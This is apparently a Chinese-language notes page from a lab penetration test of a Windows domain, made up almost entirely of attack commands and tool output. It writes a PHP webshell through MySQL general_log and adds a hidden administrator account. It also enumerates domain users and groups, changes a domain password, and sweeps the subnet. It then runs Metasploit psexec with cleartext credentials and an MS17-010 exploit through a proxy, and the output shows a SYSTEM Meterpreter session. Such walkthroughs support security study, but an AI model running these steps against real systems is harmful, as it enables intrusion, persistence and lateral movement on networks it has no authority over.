查看日志状况 show variables like "%log%" 开启日志 set global general_log='on' 修改日志路径 set global general_log_file='C:\\phpStudy\\WWW\\test2.php' 查看开启情况 show variables like "general_log%"
net user test 123root! /add net localgroup administrators test /add
远程登录
信息收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14
ipconfig /all 查询ip 域信息 systeminfo 查询系统信息 net config Workstation 查询计算机信息, 域信息 net user 本机用户 net user /domain 查询域用户 net view /domain:god god是域名, 查看域主机名 net user test /domain 查询域内test用户 net user /domain test 123 修改test用户密码为123 net group /domain 查询域工作组 net group 组名 /domain 查询域中某工作组 net group "domain admins" /domain 查询域管理员 net group "domain controllers" /domain 查看域控制器 tasklist 查询进程 是否有杀毒软件之类的 ......
域内主机存活探测
ICMP协议
1 2 3 4
也就是ping命令 进入shell执行 for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL" 探测存活主机
msf的udp_probe
需要添加socks代理, 在后面
1 2 3 4
use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.52.0/24 set threads 5 run
use exploit/windows/smb/psexec set payload windows/x64/meterpreter/bind_tcp (这里要使用主动连接, 域控在内网里面.我们无法访问) set rhosts 192.168.52.138 set smbpass 2313root! set smbuser liukaifeng01 run
proxychains msfconsole 使用代理启动msf use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/bind_tcp 不出网使用正向连接 set rhost 192.168.2.138 域ip run
msf5 exploit(windows/smb/ms17_010_psexec) > run |S-chain|-<>-192.168.3.130:1080-<><>-192.168.2.138:445-<><>-OK
[*] 192.168.2.138:445 - Target OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 [*] 192.168.2.138:445 - Built a write-what-where primitive... [+] 192.168.2.138:445 - Overwrite complete... SYSTEM session obtained! [*] 192.168.2.138:445 - Selecting PowerShell target [*] 192.168.2.138:445 - Executing the payload... [+] 192.168.2.138:445 - Service start timed out, OK if running a command or non-service executable... [*] Started bind TCP handler against 192.168.2.138:4444 |S-chain|-<>-192.168.3.130:1080-<><>-192.168.2.138:4444-<><>-OK [*] Sending stage (176195 bytes) to 192.168.2.138 [*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.3.130:1080) at 2021-01-21 18:07:19 +0800
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM